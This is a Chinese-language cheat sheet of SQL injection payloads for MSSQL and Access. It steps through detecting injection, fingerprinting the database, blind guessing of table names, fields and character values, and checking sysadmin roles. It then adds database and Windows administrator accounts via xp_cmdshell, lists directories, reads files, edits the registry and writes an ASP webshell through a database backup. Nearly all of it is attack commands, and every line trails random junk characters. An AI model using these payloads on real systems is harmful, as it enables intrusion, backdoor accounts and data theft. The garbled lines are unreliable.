1.判断是否有注入;and 1=1 ;and 1=2 =aZ d>{Y
2.初步判断是否是mssql ;and user>0 H7GI`3o
= V2Rq(jH
3.注入参数是字符'and [查询条件] and ''=' O-X(8<~H=
Xg96I:r'p
4.搜索时没过滤参数的'and [查询条件] and '%25'=' :Y\ ~[Y
**L&I5Hhm
5.判断数据库系统 W`_JERo
1,%`vlYv
;and (select count(*) from sysobjects)>0 mssql F5qA!jZ1]
\1jThJn
;and (select count(*) from msysobjects)>0 access yAryw{(
jel:oy|_
Ig t*8px
C[<}eD4bV
6.猜数据库 ;and (select Count(*) from [数据库名])>0 <@"rI>=
%*}rLn"?
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Yr/$92(
T2MC`s|`
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 7%i'F=LzT
hqvhnqQk
9.(1)猜字段的ascii值(access) 2+rT .GFc
8&G9 ?n`I5
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 D[/fs`XES
L@{'J
(2)猜字段的ascii值(mssql) s|e.mZk/
Vo@7G@7K(
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 U-9Aq
h(HpeN%`#
10.测试权限结构(mssql) x*7A33@i
#\w N2`" W
.Qx5,)@9
1H-Y3G>jN
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- U
L
$!
q4[}b-fF
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- UeO/<ml3>J
VKDOM0{V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- j|[rT^b@
9?H$0xZV
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;
R}>SS'
^)~Smj^d
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Wp>t\S~N
'vd&r@N
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5G}4z>-]F)
fA6IW(_bi
;and 1=(select IS_MEMBER('db_owner'));-- {&n- @$?
zsXgpnlHT
Pp-N2t86#2
3p=Xv%xd
11.添加mssql和系统的帐户 E:x@O8F
g:M;S"U3*Y
;exec master.dbo.sp_addlogin username;-- ?Fl}@EA#M
;exec master.dbo.sp_password null,username,password;-- n?fy@R
BA c+T
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- KMj\A
d
->b5"{t
;exec master.dbo.xp_cmdshell 'net user username password v`Jt+?I
wHj1+W
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $&as5z8
o1ZVEvp
;exec master.dbo.xp_cmdshell 'net user username password /add';-- %^@l5h.lqB
^YLC {V
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- o99ExQ.
,%TBW,>
B?z2@,
8OZj24*'DS
12.(1)遍历目录 ~#sD2b`0
`q-+r1u
;create table dirs(paths varchar(100), id int) Z<i}XCE
v0\l~_|H
;insert dirs exec master.dbo.xp_dirtree 'c:\' l<+[l$0#
]eKuR"ob0
;and (select top 1 paths from dirs)>0 qSvV|G
:hZM$4
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) m
!*F5x
BYq80Vk%@
=y][j+WH
}=/zG!+
(2)遍历目录 @:}c(j
y(J~:"}7)
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^/"}_bR
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 nqo{]fn
Op%OQ14$
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 xJCxzJ
:*}Q/]N
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 i//H5D3
\ASt&'E
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 SY+0~5E
fkZHy|m
g{Hgs
/TpTR-\I0
13.mssql中的存储过程 s(=wG|
$X#y9<bW
xp_regenumvalues 注册表根键, 子键 <N vw*yA
Vgm'&YT
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 oVvA`}
j L|6i-?!
xp_regread 根键,子键,键值名 .^wpfS
c<_%KL&R
;exec xp_regread L!cOg8Z
+Uq|Yh'Q
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qq5X3K2&
=-2~>B
xp_regwrite 根键,子键, 值名, 值类型, 值 2<@2_wSJ
f;{Q ~
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 1CB&z@
3+ 6Ed;P
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 1p}Wj*mc
l{[@Ahb}?
xp_regdeletevalue 根键,子键,值名 '0HOL)cIz
1"H;Tr|
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 .?45:Ey~g
l8oaDL\f
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8ZY]-%
z5jw\jBD
v)+g<!
bXs=<`>
14.mssql的backup创建webshell [|Qzx w9
).71gp@&
use model iww/ s
tJ^p}yxO
create table cmd(str image); Hm2Y%
4i%
1[!:|=
insert into cmd(str) values (''); g6,D Bkv2
|[.-pA^
backup database model to disk='c:\l.asp'; 8%9 C<+.R
/.SG? 5t4
MKBDWLCB
c2P}P* _
15.mssql内置函数 JXc.?{LL
(GC]=
;and (select @@version)>0 获得Windows的版本号 UY(T>4H+h
4'O,xC
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ?9~^QRLT
u}5CzV `
;and (select user_name())>0 爆当前系统的连接用户 HA,o2jZ?In
~XOmxz0
;and (select db_name())>0 得到当前连接的数据库 L I<S
9+@h2"|N4*
aZmN(AJ8v
8<L{\$3HP|
16.简洁的webshell L2XhrLK.|
n\ "6ol}>E
use model %66="1z0@
Xd(^7~i
create table cmd(str image); XKWq{,Ks
*{ rorir
insert into cmd(str) values (''); +bznKy!
xgk~%X%K
backup database model to disk='g:\wwwtest\l.asp';